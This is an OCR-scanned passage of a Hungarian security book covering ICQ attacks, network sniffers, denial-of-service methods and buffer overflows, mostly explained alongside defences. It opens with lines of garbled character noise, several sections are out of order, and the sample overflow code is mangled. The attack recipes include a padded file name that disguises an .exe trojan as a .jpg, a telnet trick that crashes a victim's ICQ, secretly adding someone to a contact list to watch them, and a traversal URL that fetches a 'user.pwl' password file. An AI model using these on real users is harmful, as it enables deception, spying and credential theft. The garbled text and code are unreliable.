*DADADADAD A A A A A A A A A A A A A A A A A A A A A A A D D D D D D D D D D D D D D D D D D D D D D D ^•ADADADADADADADAD *ADADADADADADvADADADADADADADADADADADvADADADADA *»DADADADAD A A A A A A A A A A A A A A A A A A A A A A A D D D D D D D D D D D D D D D D D D D D D D D ta»A£)A£)A£)A£)A£)A£)A£)A£)
*-ADADADADADADvADADADADADADADADADADADvADADADADA DADADADAD A A A A A A A A A A A A A A A A A A A A A A A D D D D D D D D D D D D D D D D D D D D D D D *ADADADADADADADAD h»ADADADADADADvADADADADADADADADADADADvADADADADA |*>DADADADAD A A A A A A A A A A A A A A A A A A A A A A A D D D D D D D D D D D D D D D D D D D D D D D i*-ADADADADADADADAD ^A£)A£)A£)A£)A£)A£) V A£)A£)A£)A£)A£)A£)A£)A£)A£)A£)A£) V A£)A£)A£)A£)A A A A A
*»D D D D D A A A A A A A A A A A A A A A A A A A A A A A D D D D D D D D D D D D D D D D D D D D D D D *ADADADADADADADAD ^ADADADADADADvADADADADADADADADADADADvADADADADA DADADADAD ^A£)A£)A£)A£>A£)A£)A£)A£)A£)A£)A£)A£)A£)A£)A£)A£)A£)A£)A£)A£)A£)A£)A
*-DADADADADADADADAD *ADADADADADADvADADADADADADADADADADADvADADADADA DADADADAD A A A A A A A A A A A A A A A A A A A A A A A D D D D D D D D D D D D D D D D D D D D D D D *»ADADADADADADADAD ^ADADADADADADvADADADADADADADADADADADvADADADADA *-DADADADAD A A A A A A A A A A A A A A A A A A A A A A A D D D D D D D D D D D D D D D D D D D D D D D *-ADADADADADADADAD ^ADADADADADADvADADADADADADADADADADADvADADADADA DADAD!Ü! pl A£)A£)A£)A£)A£)VA£)A£)A£)»
Védelem Ez ellen úgy lehet védekezni, hogy az ICQ-kliensünket úgy állítjuk be, hogy azonnal eldobja az ismeretlen linkeket, amelyeket nekünk küldenek.
Fájlnevek kitömése az ICQ 99 alatt Ahogy mailben, úgy ICQ-val is lehet fájlokat küldeni és fogadni. És itt is működik az ott már leírt trükk: tegyük fel, hogy a támadó küld a usernek egy fájlt, egy trójait vagy egy vírust stb. Ha elküldi ezt a fájlt, a fogadónál megjelenik egy popup ablak a fájl megnevezésével és más, itt nem lényeges információkkal. A trükk a következő: a támadó kitömi a def.jpg.exe fájl nevét egy sor üres karakterrel, pl. def.jpg .exe Az exe fájlból semmit sem látni
Így a popup ablakban már nincs elég hely, és a tulajdonképpeni végződés, az .exe már nem látható. Az .exe végződés helyett csak a -jpg-et látjuk. A felhasználó azt gondolja, hogy tényleg csak egy képet akarnak küldeni neki. Ha a támadó például egy trójait vagy egy vírust használt, akkor a felhasználóból, ha elfogadja és végrehajtja a fájlt, könnyen áldozat lesz.
Itt az IP!
Védelem Ez a bug az ICQ 2000-ben már nincs benne. Ezért a legjobb védekezés az aktuális verzióra történő frissítés. User hozzáfűzése engedély nélkül Az ICQ jóváhagyása időnként elég terhes a támadóknak, ha egy áldozatot akarnak felvenni a kontaktlistájukra, anélkül, hogy az áldozat ezt észrevenné. Az interneten ehhez egész sor tool és crack van, amelyek lehetővé teszik a felhasználó felvételét a kapcsolati listára anélkül, hogy ő bármit is észrevenne ebből. Rendesen ugyanis kap egy értesítést, amely közli, hogy felkerült egy listára. Ezt a problémát elkerülendő, a támadónak a következő lehetőségei vannak. Letölt magának egy ICQ-cracket az internetről, inaktiválja az ICQ-t, megpatcheli a crackkel, és megpróbál hozzáfűzni egy felhasználót. Ha ez sikerült, a Find User-rel megkeresi azt az UIN-t, amelyet hozzá akar fűzni,. Amint az ICQ a kérdésre pozitív választ ad, egyetlen kattintással kijelöli a személy nevét. Ezután meg kell szakítani a kapcsolatot a hálóval. Ha ezt elintézte, a Next-re kattint. Az ICQ hibajelzéseket ad, amelyek azt mondják, hogy az ICQ nem tud üzeneteket küldeni. Mire minden hibaüzenetet tudomásul vettek, a támadó már ott van a kívánt személy kapcsolati listáján, ráadásul anélkül, hogy az erről bármit is tudna. Most teljes nyugalomban megfigyelheti az áldozatát, vagy ha akarja, akár meg is támadhatja. Védekezés Az ICQ rendszeresen dolgozik chat-rendszere biztonságán, és most is megjegyzendő, hogy a rendszeres frissítés legalább rövid távon védelmet kínál.
Az ICQ lefagyasztása ICQ alatt megmutathatjuk más felhasználóknak, hogy működtetünk-e webszervert a rendszerünkön. Ezt többnyire a fenti ikonra történő kattintással vagy a http://ipdesusers. linkkel lehet elérni. Egy ilyen jel a hackernek égből pottyant ajándék, amit gyakran ki is használ, hogy megtámadja ezeket a rendszereket. Az így jelzett webszerver ugyanis behatolási pontot nyújthat a támadónak. Egy erre a célra szívesen használt eszköz a UIN-IP. Ez az ICQ-path megadása után a kontaktlistára bejegyzett userek minden IP-jét visszaadja. Vagy a támadó a partnerrel való beszélgetés közben egyszerűen beírja a parancssorba: netstat -n, hogy többet megtudjon a chat-partneréről. Ha a hackernek csak az áldozat IP-je van meg, a parancssorba a következőt írja: Telnet 217.82.172.40:80, ahol a 217.82.172.40-et a megtalált IP-re cseréli. Ezután egyszerűen Quit-et ír a Telnet kliensbe. Ezáltal az áldozat ICQ-ja bezáródik, és egy idő múlva nem jelenik meg online-ként. Ez egy jó példa volt az ICQ kliens még fennálló bizonytalanságaira. Megnézni egy felhasználó fájljait Itt megintcsak előfeltétel, hogy a felhasználó egy webszervert telepített, és a hacker ismerje az IP-jét.
Most például beírhatná a böngészőjébe: http:// 217.82.172.40 /.html/.
user.pwl,
ahol a 217.82.172.40 az áldozat IP címe. A pontok a könyvtárakat jelölik, amelyekre váltani kell, hogy a C:\-hez jusson. Most a támadó a számítógépére tudja menteni a kiválasztott fájlokat. Természetesen ez csak egy példa, mert a támadó nem fogja ismerni a pontos könyvtárstruktúrát. A legtöbb esetben azonban a Windows szabvány könyvtárstruktúrája fordul elő, így a jelszavak elérésére is van lehetőség. Védekezés Ha webszervert kell futtatnunk, ne használjuk ezen a gépen az ICQ-t.
9. fejezet - Tartalom 9.1
Mi az a sniffer?
9.2
Hogyan működik egy sniffer?
9.3
A sniffer veszélyei
9.4
Mit lehet tenni a snifferek ellen?
9 Sniffer
A snifferek jelentik az egyik legnagyobb veszélyt a hálózatokra. Ebből a fejezetből kiderül, hogy mit is rejt ez a fogalom, melyek a snifferek felhasználási területei, és milyen gondokat okozhatnak.
9.1 Mi az a sniffer?
külön kis, ethernet frame-nek is nevezett csomagokban kerül a hub-ra, és onnan továbbítódik minden csatlakoztatott számítógépre. Az adatokat csak az a számítógép veszi fel, amelyiknek címezve vannak. A többi hálózati interfész ugyan fogadja az adatokat, de a nem neki szóló címzés miatt nem dolgozza fel azokat. Ezen a ponton avatkozik be a sniffer, amely a hálózati interfészt úgynevezett promiscuous módra állítja át. Ez a mód bizonyos alkalmazásokon keresztül akkor is megengedi a csomagok felvételét és feldolgozását, ha azok nem az illető gépnek vannak címezve. Így a sniffer hozzákezdhet a tulajdonképpeni munkájához. Annak persze nem lenne értelme, hogy a hálózat teljes adatforgalmát kiértékelje, mert a legtöbb információ egyáltalán nem érdekes. Ezért a legtöbb sniffert úgy tervezték, hogy csak a valóban releváns adatokkal foglalkozzon. Ezek, a sniffer tulajdonságaitól függően, lehetnek például jelszavak vagy felhasználói nevek. Az elfogott információkat a sniffer az output (kimeneti) fájlokba menü.
A sniffereknek különböző felhasználási területeik vannak. Egyrészt a rendszergazdák pótolhatatlan segítőtársai a hálózati problémák vagy a potenciálisan veszélyeztetett területek felderítésében. Ha például gondok támadnak a hálózat egy részében a hiányos konfiguráció miatt, akkor a rendszergazda bevethet egy sniffert, hogy magállapítsa, hol van a probléma a hálózaton belül. Másrészt a snifferek lehetőséget nyújtanak a támadóknak, hogy egész hálózati csomagokat „hallgassanak le". A snifferek a WWW/LAN/WAN egyes gépeire telepíthetők, naplózzák az adatfolyamot, és rendszerint egy fájlba írják az analizált adatokat, betekintést kínálva annak, aki installálta a sniffert. A felhasznált sniffertől függően különböző protokollokat lehet lehallgatni. Ezek közé tartoznak többek között: a TCP/IP (Ethernet/WWW), az IPX, az Apple Talk, a Banyán VINES és az LCC.
9.2 Hogyan működik egy sniffer? Egy számítógép valamennyi hálózati interfészének saját címe van a LAN-on. Ez különbözteti meg a komputert a hálózat többi tagjától. Hasonló rendszert találunk az internet-címzésnél is. A hálózatban gyakran használnak hub-ot az adatok szétosztására. Ha elküldünk egy üzenetet, az
Az Analyzer az egyik legismertebb sniffer
9.3 A sniffer veszélyei A snifferek nagy veszélyt jelentenek a hálózati struktúrára, mert a teljes hálózati adatforgalmat felügyelhetik. Így azután nem is szükséges közvetlenül beavatkozni egy meghatározott felhasználó rendszerébe ahhoz, hogy kikémleljék mail-postafiókja vagy online banki jelszavát. Az olyan biztonsági intézkedések, mint hogy nem tároljuk a jelszavakat a merevlemezen, tulajdonképpen semmit sem érnek, mert ezeket bármikor megtudhatja a sniffer.
9.4 Mit lehet tenni a snifferek ellen? A snifferek felfedezéséhez és eltávolításához jól kell ismerni a hálózati topológiát. A snifferek a normál felhasználó szempontjából semmilyen nyomot nem hagynak maguk után, ráadásul csak a támadó gépén futnak, vagyis passzívan működnek. Ezért a normál hálózati felhasználó aligha tudja felfedezni a sniffert a LAN-on. A leleplezéshez csak a rendszergazdáknak vannak különböző programjaik, amelyekről a továbbiakban még írni fogunk. Felhasználói oldalról titkosító protokollokkal, mint amilyen az SSH vagy az SSL, védhetjük az adatainkat a siffherek ellen. A döntően hálózati felhasználás azonban alapvetően nagyobb ráfordítást igénylő intézkedéseket tesz szükségessé. Az alábbi táblázatból részletesen megismerhetők a védelmi mechanizmusok.
Intézkedés Hálózati kártya
Leírás Egyszerűbb és olcsóbb megoldás megfelelő hálózati kártyával felszerelni a LAN-ra csatlakoztatott számítógépeket. Mivel egy sniffer csak úgy tud működni, ha a hálózati kártya promiscuous módban van, a megoldás kézenfekvőnek tűnik: csak olyan hálózati kártyát szabad használni, amely nem engedélyezi ezt a módot. Ilyen kártyákat (is) kínai pl. a 3Com, az IBM, a Hewlett-Packard és az Intel.
A csatlakozások ellenőrzése
A rendszergazda is ellenőrizheti a LAN-ban található számítógépek hálózati kártyáit promiscuous módra vagy egyéb gyanús alkalmazásokra. Ha azonban a támadó egy, a hálózatba integrált notebookot használ, amit a sniffelés után magával visz, ez a variáció, éppúgy, mint a fentiek, kevéssé hatékony.
A reakcióidő ellenőrzése
Ha egy számítógépre, amelynek a hálózati interfésze promiscuous módban van, adatokat küldenek, a reakcióideje hosszabb lesz az általában szokásosnál. Vannak programok, amelyek tesztelni tudják a hálózati reakcióidőket. Ezeket használják akkor is, amikor egy hálózat teljesítményének a gyenge pontjait keresik. Ha egy hálózatban rendszeresen tesztelik az egyes csatlakoztatott számítógépek reakcióidejét, akkor jól be lehet határolni azt a számítógépet, amelyik potenciális sniffer lehet.
Ipv6
Hamarosan megjelenik a TCP/IP új verziója, amely Ipv6 vagy IPng néven ismert. Ez a protokoll Ipsec-et is tartalmaz, amelynél az adatok hálózati szinten lesznek kódolva, mégpedig úgy, hogy csak a címzett gép tudja dekódolni. Részletesen most nem foglalkozunk az Ipv6-tal, azonban ahogy ez a protokoll majd szabvánnyá válik a hálón, a snifferek problémája is meg fog szűnni (egy időre).
Titkosítás
Az alkalmazásokban használt kódolás minden bizonnyal a legfontosabb
Intézkedés
Leírás
védelem a sniffer-támadások ellen. Titkosítással biztonságossá lehet
Adatelosztás
Egy sniffer támadási pontját tulajdonképpen a hubnak az a tulajdonsága
tenni az adatátvitelt. Nagyobb hálózatoknál megfontolandók az olyan
nyitja meg, hogy a fogadott adatokat minden vele kapcsolatban álló szá-
biztonsági mechanizmusok, mint az S/Key vagy a SecurelD-Token.
mítógépnek elküldi. Ha biztosra akarunk menni, a hub-ok helyett switch-
Ezeknél jelszavak kiosztásáról van szó, amelyek csak egyszer érvénye-
eket vagy auto-switching hub-okat is használhatunk, amelyek, a normál
sek. Sajnos ez az eljárás elég költséges, és a felhasználók sem veszik
hubokkal ellentétben, valóban csak a célgépre továbbítják az adatokat.
szívesen, mert jobban szeretik, ha van egy saját, állandó jelszavuk. A
Ezek az eszközök azonban drágábbak az egyszerű hub-oknál.
mail-postafiókok elleni támadásoknak is van egy biztos ellenszere, az S/POP nevű eljárás, amely szintén kódolva továbbítja az adatokat.
Intézkedés
Leírás
SSL
A HTTP-átvitelek titkosítására szolgál az interneten az SSL (Secure Socket Layer). Már böngészőket is lehet kapni megfelelő erős kódolással. Az e-mail-küldésnél mindenesetre problematikus, hogy sok, csupán mail-szolgáltatást kínáló szolgáltató csak üzletileg kínálja az SSL használatát. Tehát figyelni kell arra, hogy milyen szolgáltatásokat veszünk igénybe a kevéssé biztonságos hálózatokon keresztül.
SSH
Mivel a Telnet kódolatlanul továbbítja az adatokat, például a jelszavakat és a parancsokat is, új lehetőséget kellett fejleszteni, hogy védetten lehessen bejelentkezni a Telnetről. A szokásos Telnet-kliensek helyett SSH-klienset (Secured Shell) is lehet használni, amely csak biztonságosan kódolva továbbítja az adatokat.
Anti-sniffer'
A hálón a legkülönbözőbb programokat kínálják a snifferek felkutatásához. Az olyan programok, amelyek azt a számítógépet ellenőrzik, amelyen éppen lokálisan rajta vagyunk, elérhetik ugyan a céljukat, de nincs nagy hasznuk. Vannak azonban olyan programok is, amelyek leleplezik, ha
egy
másik
számítógép
éppen
sniffel.
Ilyen
program
pl.
Unixhoz/Linuxhoz a Beavis and Butthead, amely mint snifftest.c is ismert. Az ilyen programokkal szemben azonban mindig egy kicsit szkeptikusnak kell maradni, mert többnyire csak bizonyos hálózati kártyák búgjait ellenőrzik, vagy olyan programokat használnak, amelyek felhívják a figyelmet az ilyen támadásokra. Védelmi Intézkedések a snifferek ellen
Végeredményben azonban mindig lesznek programok, amelyek ugyan hálózatról működnek, mégsem kínálnak lehetőséget az adatok kódolására. Mivel a legtöbb felhasználó nem szívesen használ manuális kódolást, a kódolási folyamatnak automatikusnak is kellene lennie. A PGP-vel vagy hasonló programokkal kódolt fájlok/mailek biztonságában is csak akkor lehet bízni, ha a fájlok megnyitása a saját gépen történik. Ha azonban a PGP-vel kódolt maileket a mail-szerveren nyitják meg (ami biztosan gyakran megtörténik), akkor a megnyitáshoz szükséges jelszó megint csak a hálózaton megy keresztül, így ezt is minden sniffer foghatja. Igazán csak az IPv6 használatával lehet majd biztonságos adatátvitellel számolni, mivel ott az adatok eleve kódolva továbbítódnak, így a sniffer nem tud mit kezdeni velük.
10. fejezet- Tartalom 10.1
Az IP-spoofing mint előfeltétel
10.2
Out-of-Band csomagok - a „nuken"
10.3
Large Packet-támadások avagy a Ping of Death
10.4
Land támadások
10.5 TCP-Syn-Flooding 10.6
Ping-Flodding
10.7
Smurf
10.8
DDoS - Distributed Denial of Service támadások
10.9
Védelem a DoS-támadások ellen
10 A Denial of Service támadás
A DoS- (Denial of Service -- szolgáltatás megtagadó) támadások az internet egyik legnagyobb veszélyforrásává váltak az idők során. Egy ilyen támadásnál számítógépeket rohannak le az interneten, és úgy lefagyasztják, hogy az egy ideig nem is tudja újrakezdeni a működését. A DoS-támadások ugyanúgy érintik az internet-felhasználókat, mint a szervereket, például a webszervereket. Az egyik legismertebb támadást 2000 februárjában, két napon belül indították a Yahoo, az eBay, a CNN és néhány más nagyobb portál ellen a hálón. A rendszerek kiesése következtében fellépő kár mintegy 100 millió dollárra rúgott. A DoS-támadások az operációs rendszerek, programok és protokollok hibáit használják ki, ami azt jelenti, hogy ezeknek a támadásoknak különböző fajtái vannak. Az eredmény azonban mindig ugyanaz: a megtámadott számítógép felmondja a szolgálatot. DoS-támadásokat többnyire akkor hajtanak végre, ha a támadó nem talál más utat, hogy a rendszert lerohanja, vagy ha éppen az a célja, hogy a rendszert egy időre lebénítsa. A DoS-támadások célzott végrehajtásának másik oka lehet például, hogy egy rendszert újraindításra kényszerítsenek valamilyen változtatás érvénybe léptetése érdekében (jelszó: trójai). Kedvelt célok azok a felhasználók is, akik game-szervereken vagy IRC-szervereken találhatók. A különböző támadásokhoz egész sor eszköz áll a támadók rendelkezésére, amelyeknek többnyire jól kezelhető, grafikus felületük van, így a támadónak még alaposabb technikai ismeretekkel sem kell rendelkeznie a használatukhoz.
10.1 Az IP-spoofing mint előfeltétel Az IP-spoofing egy támadási eljárás, amelynél hamis IP-számot használnak, hogy hamis identitást színleljenek a megtámadott IT-rendszer felé.
Az IP-spoofing, amelynél a csomag feladójának a címét megváltoztatják, sok DoS-támadás alapját képzi. Vagy már a támadást is ez teszi lehetővé, vagy arra szolgál, hogy a támadó nyomait eltüntessék, és megakadályozzák az azonosítását. Így a támadót, aki két napig bombázta a Yahoo-t és társait, csak a hencegése alapján kapták el egy idevágó chatszobában. 1998-ban létrejött egy védelmi szervezet, amely lehetetlenné teszi hamisított IP-csomagok internetre küldését a csatlakoztatott hálózatüzemeltetőknél. Sajnos, ez csak egy behatárolt megoldás, mert csak a szervezethez kapcsolódó rendszerekből érkező támadásokat akadályozza meg.
10.2 Out-of-Band csomagok - a „nuken'' A legismertebb DoS-támadások közé tartozik a miken vagy az Out-ofBand (OOB) csomagok küldése. Az OOB a TCP/IP egyik tulajdonsága, és ezzel a protokollal továbbítódik. Megengedi az adatok átvitelét a normál sorrenden kívül, és - többek között - Telnet session-ökhöz használják. Az Out of Band csomagok felhasználását a DoS-támadásokhoz a Microsoft egy hibás NetBEUI implementációja tette lehetővé. Ha a 135. és a 139. portok egy számukra nem értelmezhető karaktersort kapnak, a rendszer összeomlik. A Microsoft felismerte ezt a hibát, és mind a Windows 98/98SE/ME-t, mind a 2000-t ellenállóvá tette e támadások ellen. Ezért az Out of Band csomagokat az olyan rendszerek megtámadásához használják, mint például a WinGates. A WinGates 4.01-t például így lehetne megtámadni: 100 kapcsolatot állítanak elő a WinGates-hez, és ezeken egyenként körülbelül 40000 karaktert küldenek. A WinGatesszerver feltételezi, hogy minden Kettő a legismertebb nukerek közül
kapcsolat fennmarad, és az adattömeg addig halmozódik, amíg el nem használja a szerver pufferét. Ha most a rendszergazda megpróbál belépni, out of buffer hibaüzenetet kap.
10.3 Large Packet-támadások avagy a Ping of Death A Denial of Service támadások különösen végzetes fajtája a Ping of Death. Ez utóbbinak semmi köze a tulajdonképpeni ping-parancshoz, amelyről ebben a fejezetben még szó lesz. Az Internet Protokoll headerrel (fejléccel) együtt pontosan 65535 bájtot csomagol egyetlen csomagba, az Ethernet-csomagok pedig csak 1500 bájtosak. Az ennél nagyobb csomagokat fragmentálja, vagyis feldarabolja, hogy egyszerűbb legyen az átvitelük, és aztán újra reassemblálja (összerakja) őket. Mindez azért történik, hogy az adatok át tudjanak futni a különböző hálózati rétegeken. Minden csomagtöredék tartalmaz egy offset értéket és egy azonosítási számot. Az első csomagban még egy TCP-header is található, valamint a portszám, amely meghatározza, hogy milyen csomagról van szó. Ezek a tények teszik lehetővé, hogy az utolsó töredéknek olyan offset értéket lehet adni, amely a teljes csomagot nagyobbnak mutatja 65535 bájtnál. Ez a túlméretezett csomag túlcsordulást (Buffer Overflow-t) okoz a rendszerben, és a gép összeomlik. A Ping of Death támadások a következő protokolloknál lehetségesek: ICMP, UDP és TCP. Röviddel a halálos lökés előtt
Mikor egy számítógép kapcsolatot próbál felépíteni egy másikkal, akkor speciális IP-csomagokat küld, amelyekkel bejelenti a kapcsolatot. Ezeket SYNcsomagoknak is nevezik. A címzett reagál erre, és válaszul ACK-csomagot (ACK = Acknowledgement = a fogadás nyugtázása) küld. Ezt a folyamatot Three Way Handshake-nek is nevezik. Aki viszont Land támadást hajt végre, a protokoll-implementáció említett hibáját kihasználva, hamisított feladóval küldi a SYN-csomagokat egy szerverre - a feladó címe megegyezik a címzettel. A szerver minden SYN-csomagra ACK-csomaggal válaszol, de ezt a csomagot most egy saját nyitott portjára fogja küldeni, ahol a sok IP-stack egyfajta túlcsordulást idéz elő, és megbénítja az áldozat rendszerét. A támadásnak ezt a fajtáját az elkészült bugfixekkel ma már a legtöbb operációs rendszer visszaveri.
10.5 TCP-Syn-Flooding Mint ahogy a Land támadásoknál már leírtuk, ha két számítógép között TCP/IP-n keresztül jön létre kapcsolat, a résztvevők először egy Three Way Handshake-et váltanak. A TCP-Syn-Flodding támadásnál a támadó először hamis feladóval nagy számú SYN-csomagot, vagyis „Beszélni akarok veled" üzenetet küld a hostra. A host ezt megpróbálja egy „OK, kész vagyok" ACKválaszcsomaggal nyugtázni, és előállítani a kapcsolatot. Ez a kísérlet azonban, a nemlétező feladó miatt, sikertelen lesz, és a számítógép bizonyos várakozási idő után eredménytelennek nyilvánítja a kísérletet. Ha ezt a várakozási időt a támadó arra használja, hogy a hostot rettenetes mennyiségű további SYNcsomaggal bombázza, az rövid időn belül felmondja a szolgálatot. íme, egy ilyen támadás lefolyásának a sémája. • A támadó elküldi a SYN l-et. • A host válaszol a SYN l-re, elküldi az ACK l-et, és várja a választ. • A támadó elküldi a SYN 2-t.
10.4 Land támadások A Land támadások a TCP-implementáció egy hibáját használják ki ahhoz, hogy egy rendszert hatalmas adatfolyammal terheljenek, majd összeomlást idézzenek elő. Ez a következőképpen történik.
• A host válaszol a SYN 2-re, elküldi az ACK 2-ét, és várja a választ az ACK l-re és 2-re. • A támadó elküldi a SYN 3-at. • És így tovább. Ezek ellen a támadások ellen is régóta létezik már bugfix.
10.6 Ping-Flodding A pingeket az interneten és a hálózatokban használják, hogy megállapítsák egy host elérhetőségét. Megpingelünk egy hostot, és ha elérhető, visszhangszerű választ ad. Ezt használják ki a támadók a Ping-Floddingnál. Pingekkel bombázzák a célt, a host pedig valamennyire megpróbál válaszolni. Ha az ismétlés elég gyakori, a host nem tud több kérdésre válaszolni. Ráadásul a ping-flodding támadásokat az áldozat csak akkor fogja észrevenni, ha a szolgáltatója a forgalom szerint számol el.
mítógépeket. (A trójaikról a 4. fejezetben írtunk.) Ha elegendő kiszolgálót talált, ezeket feltölti scriptekkel vagy programokkal, s az áldozatot csomagok áradatával önti el, amitől az összeomlik. A 2000. februári híres DDoS támadások óta állandóan növekszik az ilyen jellegű támadásokra alkalmas programok száma a Yahoo, az eBay és társai ellen. Előkészület egy DDoS támadásra
10.7 Smurf A Smurf-nél a támadó egy hálózat broadcast címére küld egy pinget manipulált feladócímmel, amelyre minden, a broadcast cím mögötti számítógép válaszol. Ez bizony rengeteg választ jelent. A megváltoztatott feladócímek, az áldozatéi, azt eredményezik, hogy minden választ az áldozat kap meg. Ha ilyen módon másodpercenként 1000 pinget küldenek 1000 különböző számítógépre, az áldozat több mint egymillió választ kap. Az érintett rendszer a bemenő adatok terhe alatt szó szerint összeomlik. Az ilyen támadások után többnyire teljesen le kell venni a szervert a hálózatról. Smurffel akár nagyon kis átviteli kapacitással rendelkező támadók (modem- vagy ISDN-csatlakozás) is térdre tudnak kényszeríteni nagy átviteli sávszélességgel rendelkező áldozatokat.
10.8 DDoSDistributed Denial of Service támadások A DDoS-nál (DDoS-támadás = elosztott szolgáltatás megtagadó támadás) még a tulajdonképpeni roham előtt szerez a támadó elérést néhány másik rendszerre, és ezeket arra használja, hogy az áldozatát nagy mennyiségű adatcsomaggal szembesítse. Az előkészítés abból áll, hogy a támadó a lehető legtöbb olyan rendszert megtalálja, amelyeken biztosítani tudja magának a rendszergazdai jogokat, hogy fel tudja tölteni a scripteket a támadáshoz. Ehhez a támadó hibás rendszereket keres szkenneléssel (közelebbit lásd a szkennelésről szóló fejezetben). Ezeken a rendszereken trójaiakat helyez el, hogy távirányítani tudja a szá-
10.9 Védelem a DoS-támadások ellen A normál felhasználó számítógépe nemcsak áldozata lehet a DoStámadásoknak, hanem arra is használhatják a támadók, hogy rajta keresztül hajtsák végre más rendszerek ellen a támadásokat. A scripteket, illetve a programokat többnyire trójaiak segítségével telepítik a rendszerekre, ezért is elengedhetetlen, hogy mindig legyen aktuális vírusvizsgáló a gépünkön. A DoS-támadások ellen a jól konfigurált tűzfalak is védelmet kínálnak. A segítségükkel el lehet kapni a módosított csomagokat, és meg lehet akadályozni, hogy sor kerüljön a további feldolgozásukra. Legyen az szerver vagy normál felhasználó - minden esetben érvényes, hogy mindig tájékozódni kell a mindenkori operációs rendszer biztonságot érintő frissítéseiről. A gyártók előbb vagy utóbb felfedezik az operációs rendszerekben és a szerverszoftverekben a biztonsági szempontból gyenge pontokat, és rövid idő múlva frissítést kínálnak hozzájuk. Hogy a gyenge pontok dolgában mindig képben legyünk, érdemes előfizetni a Computer Emergency Response Teams (CERT) levelezőlistájára http://www.cert.org és a gyártóéra. Ezek azonnal tájékoztatnak az újabb gyenge pontok felfedezéséről, és beszerzési forrást kínálnak a megfelelő frissítésekhez.
11. fejezet - Tartalom 11.1
Az operációs rendszer memóriakezelése 11.1.1 Szöveg 11.1.2 Adatok 11.1.3 A stack (magyarul: halom/rakás)
11.2
A Buffer-Overflow-támadások 11.2.1 Hogyan lehet ezt kihasználni? 11.2.2 Hogyan működik? 11.2.3 Minek kell a Shellcode változónál állnia?
11.3
Áldozat a Buffer-Overflow-kért
11.4
Honnan lehet felismerni a Buffer-Overflow-t?
11.5
Milyen védelmi mechanizmusok vannak? 11.5.1 Összefüggés a CPU és a Buffer-Overflow között. 11.5.2 A Buffer-Overflow-k és a tűzfalak
11 Buffer-Overflow
11.1.1 Szöveg Egy adott programhoz rendelt memóriatartomány több részre oszlik. Az alsó memóriában illetve a szövegrészben csak karakterláncok vannak tárolva, például a Súgó szövege, amelyet egy program kiad. Ezeket a karakterláncokat az operációs rendszer „readonly"-ként kezeli, vagyis ezeken nem lehet változtatni. Más elérések „segmentation fault" hibával végződnek.
1996-ban az AlephOne Bugtraq levelezőkör moderátora cikket közölt Smashing the Stack for Fun and Profit címen. Ebben leírta, hogyan vezethet a rossz programozás biztonsági résekhez, amelyeket aztán puffer-túlcsordulásos, vagyis Buffer-Overflow támadásokhoz lehet felhasználni. A Buffer-Overflow-rohamokat arra használják, hogy támadásokat hajtsanak végre szerverek ellen. Ezzel egymásra épülő célokat lehet elérni: pl. egy bizonyos szolgáltatást összeomlásra kényszeríteni, hogy később speciális jogokat szerezzenek a szerverhez. Ezt úgy csinálják, hogy megöröklik a megszakított szolgáltatás jogait. Egyes esetekben ez akár a boot-jogokig terjedhet, amelyekkel az egész számítógép felett ellenőrzést szereznek. De arra is lehet használni ezeket a támadásokat, hogy kidöntsenek egy weboldalt. A legérdekesebb ezekben a támadásokban a Buffer-Overflow-rohamok függetlensége a támadó székhelyétől. Így végre lehet hajtani fizikai hozzáféréssel a szerverhez, de távoli eléréssel is.
11.1 Az operációs rendszer memóriakezelése Az alábbi vázlat egy operációs rendszer memóriafelépítését szemlélteti. Alsó memória
11.1.2 Adatok Az adatrész inicializált és inicializálatlan adatokra osztható, amelyek ,,static"-ként deklarálódnak. Ennek a hozzárendelt területnek a méretét a „brk" paranccsal lehet megkapni.
11.1.3 A stack (magyarul: halom/rakás) A stacket elképzelhetjük úgy, mint egymásra halmozott lapokat, ahol legfelül van a 10. számú és legalul az 1. számú lap. A stack az a memóriaterület, amelyben a normál változók adatai találhatók. A stack LIFO-elven (last in, first out) működik, ellentétben a FIFO-elvvel (first in, first out), mint amilyennel például a pipe-nál találkozhatunk. Ez azt jelenti, hogy az elemek, amelyek legfelül helyezkednek el (tehát utoljára kerültek oda), elsőként kerülnek ki. A stack szerkesztésének legfontosabb assembler parancsai a PUSH (adatokat tesz a stackhez) és a POP (olvassa a stack legfelső elemét). A címek, amelyekre egy program futása ugrik, ha egy eljárás vagy függvény lefutott, szintén a stackben tárolódnak (például a szegmensek kezdő címei.) Erről azonban később.
SZÖVEG inicializált adatok inicializálatlan adatok Felső memória STACK Memóriafelépítés
11.2 A Buffer-Overflow-támadások A Buffer-Owerflow tulajdonképpen annyit jelent, hogy többet írnak a pufferbe, mint amennyit az fel tud dolgozni. Azokat az adatokat, amelyek már nem férnek be a pufferba, ahelyett, hogy eldobná a program, megpróbálja beleírni. Ennek következtében az
adatmennyiség kilóg a pufferből egy olyan területre, amely már nem ehhez a pufferhez, hanem más változókhoz tartozik. Eközben az adatok mindent felülírnak, amit ott találnak, csak hogy megszerezzék a nekik szükséges helyet. Ez természetesen hibákat eredményez, és végül a program hibás működését, a tulajdonképpeni Buffer-Overflow-t. Egy példa az ilyen kódra: voidman( ) { //a ToGreat változót 256 bájttal inicializálja char ToGreat[256] //ciklusváltozó int i; //egy ciklus, amely A-kkal tölti ki a memóriaterületet for(i = 0; i < 255; i++) { large_string[i] = 'A';
;
OverFlow (To Great)
} //Most jön a függvény, amely a tulajdonképpeni hibát okozza void Overflow(char *string) { //A puffer kisebb, mint a ToGreat változó, amit átadtak charTolittle[16] //megpróbálja 256 bájttal teleírni a puffért, holott csak 16 bájtra volna lehetőség, //ezért az utána elhelyezkedő terület felülíródik strcpy(ToLittle, string);
}
11.2.1 Hogyan lehet ezt kihasználni? Ha a támadó Buffer-Overflow-val akar lefagyasztani egy programot, akkor csak annyit kell tennie, hogy addig ír a pufferba, amíg az megtelik, és
